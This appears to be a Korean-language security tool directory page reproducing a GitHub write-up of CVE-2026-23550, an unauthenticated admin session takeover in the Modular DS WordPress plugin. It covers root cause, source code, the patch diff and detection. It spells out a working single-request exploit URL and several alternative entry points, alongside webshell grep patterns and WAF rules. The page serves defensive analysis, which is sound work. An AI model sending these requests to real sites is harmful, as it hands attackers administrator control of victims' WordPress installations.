Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/1beelze/cve-2026-23550
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub1beelze/cve-2026-23550

CVE-2026-23550

CVE-2026-23550에 대한 교육용 문서와 PoC입니다. 이 취약점은 Modular DS WordPress 플러그인에서 발생하는 인증되지 않은 관리자 세션 탈취의 심각한 문제입니다. 근본 원인 분석, 소스 코드 분석, 패치 차이점 및 탐지 가이드를 포함합니다.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
root@kitploit:~
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

CVE-2026-23550

Modular DS · 인증되지 않은 관리자 세션 탈취

CVSS Type Auth Vector Status Patched

근본 원인 분석 · 소스 코드 분석 · 패치 차이 · 교육용 PoC

작성자: Beelze ( zeroday 1diot9 )


📌 요약

Modular DS (modular-connector)는 40,000개 이상의 활성 설치를 보유한 WordPress 사이트 관리 플러그인입니다. ≤ 2.5.1 버전은 다섯 가지 결함이 연쇄적으로 작용하여 인증되지 않은 모든 공격자가 인증을 우회하고, 플러그인의 내부 로그인 엔드포인트를 호출하여 첫 번째 관리자 계정에 대한 wordpress_logged_in_* 세션 쿠키를 단일 HTTP GET 요청으로 획득할 수 있습니다.

root@kitploit:~
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

결과: 전체 관리자 권한 탈취. 공격자는 악성 플러그인 설치, 웹쉘 배포, 백업 관리자 계정 생성, 데이터베이스 유출 등을 수행할 수 있습니다.


📖 목차

  • 취약 버전
  • 공격 표면
  • 근본 원인 분석
  • 소스 코드 분석
  • 패치 차이 (2.5.1 → 2.5.2)
  • 개념 증명
  • 탐지 및 대응
  • 타임라인
  • 참고 자료
  • 면책 조항

🎯 취약 버전


🎯 공격 표면

이 취약점은 플러그인에 내장된 커스텀 Laravel 기반 라우터를 트리거합니다. 플러그인은 WordPress의 parse_request 액션에 훅을 거는 자체 HTTP 커널(Ares/Framework)을 탑재하여 WordPress 자체 라우팅보다 먼저 요청을 가로챕니다.

전제 조건: 없음 (플러그인이 설치 및 활성화되어 있고 Modular SaaS에 연결된 상태 — 모든 실제 설치의 기본값).

진입점 (하나만 있으면 충분):

root@kitploit:~
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>

🚩 근본 원인 분석

이 취약점은 단일 결함이 아닌 다섯 가지 결함이 연쇄적으로 쌓인 것입니다. 각 계층을 개별적으로 보면 방어 가능해 보일 수 있지만, 결합되면 인증 전 관리자 권한 탈취로 이어집니다.

root@kitploit:~
flowchart TB
    A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
    B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
    C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
    D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
    E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 결함 요약


🔬 소스 코드 분석

① 부트스트랩 게이트 — HttpUtils::isDirectRequest()

파일: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64

root@kitploit:~
public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ 쿼리 매개변수만으로 확인, 서명 없음
    }
    return false;
}

문제점: "직접 요청" 모드는 Modular SaaS 백엔드의 합법적인 호출을 식별하기 위한 것으로, HMAC, JWT, 서명된 논스, IP 허용 목록 없이 일반 텍스트 쿼리 매개변수에 의해 제어됩니다. 모든 공격자가 이 스위치를 켤 수 있습니다.

② URL→경로 묵시적 해석 — Router::findRoute()

파일: vendor/ares/framework/src/Foundation/Routing/Router.php:20

root@kitploit:~
protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ 필터 실행 전에 URL이 경로로 해석됨
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

문제점: Laravel의 routes->match($request)는 보안 필터가 실행되기 전에 /api/modular-connector/login/xxx를 login 경로(인증 보호됨)로 해석합니다. 필터는 이 경로를 입력으로 받아 경로가 부적합함을 증명해야 하는 부담을 가지며, 명시적으로 승인하는 것이 아닙니다.

③ 필터 통과 — bindOldRoutes()

파일: src/app/Providers/RouteServiceProvider.php:46

root@kitploit:~
public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* 서명된 OAuth 호출로 재바인딩 */ }
    if ($type === 'oauth')   { /* /oauth 핸들러로 재바인딩 */ }
    if ($type === 'lb')      { /* /schedule/run으로 재바인딩 */ }

    return $route;   // ⚠️ 알 수 없는 type → URL에서 가져온 경로가 그대로 남음
}

문제점: 필터는 type이 세 가지 알려진 값 중 하나일 때만 경로를 재정의합니다. type이 임의의 값(x, foo, 비어 있음)일 때는 통과되어 URL에서 해석된 경로를 변경하지 않고 반환합니다. URL 기반 경로 login은 문서상으로는 인증 보호되었지만 미들웨어 평가 단계로 진행됩니다.

④ 손상된 가드 — ModularGuard::check()

파일: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16

root@kitploit:~
public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ 서버 상태 확인
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

문제점: 커스텀 modular 가드는 들어오는 요청 신원을 전혀 검증하지 않습니다. 플러그인 자체가 Modular SaaS와 유효한 OAuth 세션을 유지하는지만 확인합니다. 거의 모든 설치가 연결되어 있으므로(그렇지 않으면 플러그인이 무용지물), 가드는 해당 가드에 도달하는 모든 요청에 대해 true를 반환합니다.

이것이 핵심 결함입니다. ①~③이 수정되더라도 이 손상된 가드만으로도 auth 미들웨어 그룹의 모든 경로에 대한 무단 접근이 여전히 허용됩니다.

⑤ 관리자 대체 — AuthController::getLogin()

파일: src/app/Http/Controllers/AuthController.php:66

root@kitploit:~
public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — 바인딩이 채워지지 않음

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 사이트의 첫 번째 관리자
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 WP 세션 쿠키 발급
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

문제점: SiteRequest 경로-모델 바인딩은 필터 체인에서 type === 'request'인 경우에만 채워집니다. 알 수 없는 type의 경우 $modularRequest가 빈 객체로 컨트롤러에 도달합니다. 컨트롤러는 조용히 첫 번째 관리자 사용자로 대체하고 해당 사용자에 대한 WordPress 로그인 쿠키를 발급합니다. 누구나 정문으로 들어올 수 있습니다.


🩹 패치 차이 (2.5.1 → 2.5.2)

root@kitploit:~
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 항상 404 경로에서 시작
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 패치 철학

수정은 묵시적 URL→경로 해석을 완전히 제거합니다. 이제 필터는 abort(404)로 하드와이어된 default 경로에서 시작하여 type이 명시적으로 허용된 세 가지 값 중 하나일 때만 실제 컨트롤러에 재바인딩합니다. 새로운 로직에서 type=x는 404를 생성합니다. 요청이 로그인 컨트롤러에 도달하지 않으며, 손상된 가드가 열려서 실패할 대상이 없습니다.

이는 사후에 적용된 심층 방어입니다. ModularGuard::check()는 구조적으로 여전히 취약하지만, 이제 인증 보호 경로에 대한 접근 체인이 차단되었습니다.


🛠️ 개념 증명


🛡️ 탐지 및 대응

즉시 조치

  • modular-connector >= 2.5.2로 업그레이드 — 필수.
  • 업그레이드가 불가능할 경우 플러그인을 완전히 비활성화하세요. 설정을 통한 우회 방법은 없습니다.

침해 평가

업그레이드 후, 플러그인이 ≤ 2.5.1이고 2026-01-13 이후 인터넷에 노출된 경우 침해를 가정하세요. 다음을 확인하십시오:

root@kitploit:~
# 1. 승인되지 않은 관리자 계정
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. 2026-01-13 이후 설치된 의심스러운 플러그인
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. 최근 수정된 핵심 파일
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. 웹쉘 (공통적으로 악용 후 배포되는 페이로드)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

웹 서버 시그니처 (Apache / Nginx 로그)

root@kitploit:~
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

WAF / ModSecurity 규칙 (임시 완화)

root@kitploit:~
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 exploit attempt (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 direct-request bypass attempt'"
  SecRule ARGS:type "@rx .+"

📅 타임라인


📚 참고 자료

  • Patchstack 권고
  • The Hacker News — 치명적인 WordPress Modular DS
  • BleepingComputer — 활성 악용 보고서
  • Security Affairs — 관리자 탈취 분석
  • eSecurity Planet — 40,000개 설치 위험
  • Rescana — 침해 대응 노트
  • WordPress 플러그인 저장소 — modular-connector

👤 작성자

Beelze · zeroday 1diot9

고급 CVE 연구원 · 취약점 분석가 · PoC 개발자


⚖️ 면책 조항

이 저장소는 엄격히 교육 및 방어 연구 목적으로만 게시됩니다.

이 취약점은 공개적으로 공개되었으며(CVE-2026-23550), 공급업체에서 패치(modular-connector 2.5.2)를 제공했으며, 주류 보안 언론에서 상세히 다루고 있습니다. 이 분석은 방어자가 근본 원인을 이해하고, 개발자가 실제 인증 설계 실패에서 배우며, 연구자가 연쇄 결함 패턴을 연구할 수 있도록 작성되었습니다.

소유하지 않았거나 명시적인 서면 승인 없이 테스트할 수 없는 시스템에 포함된 PoC 스크립트를 실행하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 사실상 모든 관할권(CFAA · Computer Misuse Act · ITE Law 등)에서 불법입니다.

작성자는 오용에 대해 어떠한 책임도 지지 않습니다. 사용 사례가 승인된 것인지 확실하지 않다면 승인되지 않은 것입니다.


보안 연구 커뮤니티를 위해 🎯로 제작되었습니다.

도움이 되셨다면 ⭐ 스타를 눌러주세요.

도구 다운로드
필드값
플러그인 이름Modular DS
슬러그modular-connector
취약 버전<= 2.5.1
패치 버전2.5.2
활성 설치 수~40,000
CVSS v3.110.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-287 · CWE-306 · CWE-863
OWASPA07 — 식별 및 인증 실패
#계층파일근본 원인
①부트스트랩 게이트HttpUtils.php:64암호화/논스 없는 쿼리 전용 origin=mo 검사
②URL→경로 매처Router.php:20묵시적 URL 해석이 곧바로 필터로 전달됨
③경로 재정의 필터RouteServiceProvider.php:46알 수 없는 type이 원래 경로를 그대로 유지하며 통과
④인증 가드ModularGuard.php:16요청 신원이 아닌 서버 측 OAuth 상태 검증
⑤로그인 컨트롤러AuthController.php:66입력 누락 시 getAdminUser()로 자동 대체
날짜이벤트
2026-01-XX공급업체에서 2.5.2를 조용한 보안 패치로 출시
2026-01-13 ~02:00 UTC실제 환경에서 최초 악용 관찰
2026-01-13Patchstack 권고 발행 · CVE-2026-23550 할당
2026-01-14The Hacker News, BleepingComputer, Security Affairs 보도
2026-07-05본 교육용 분석 문서 게시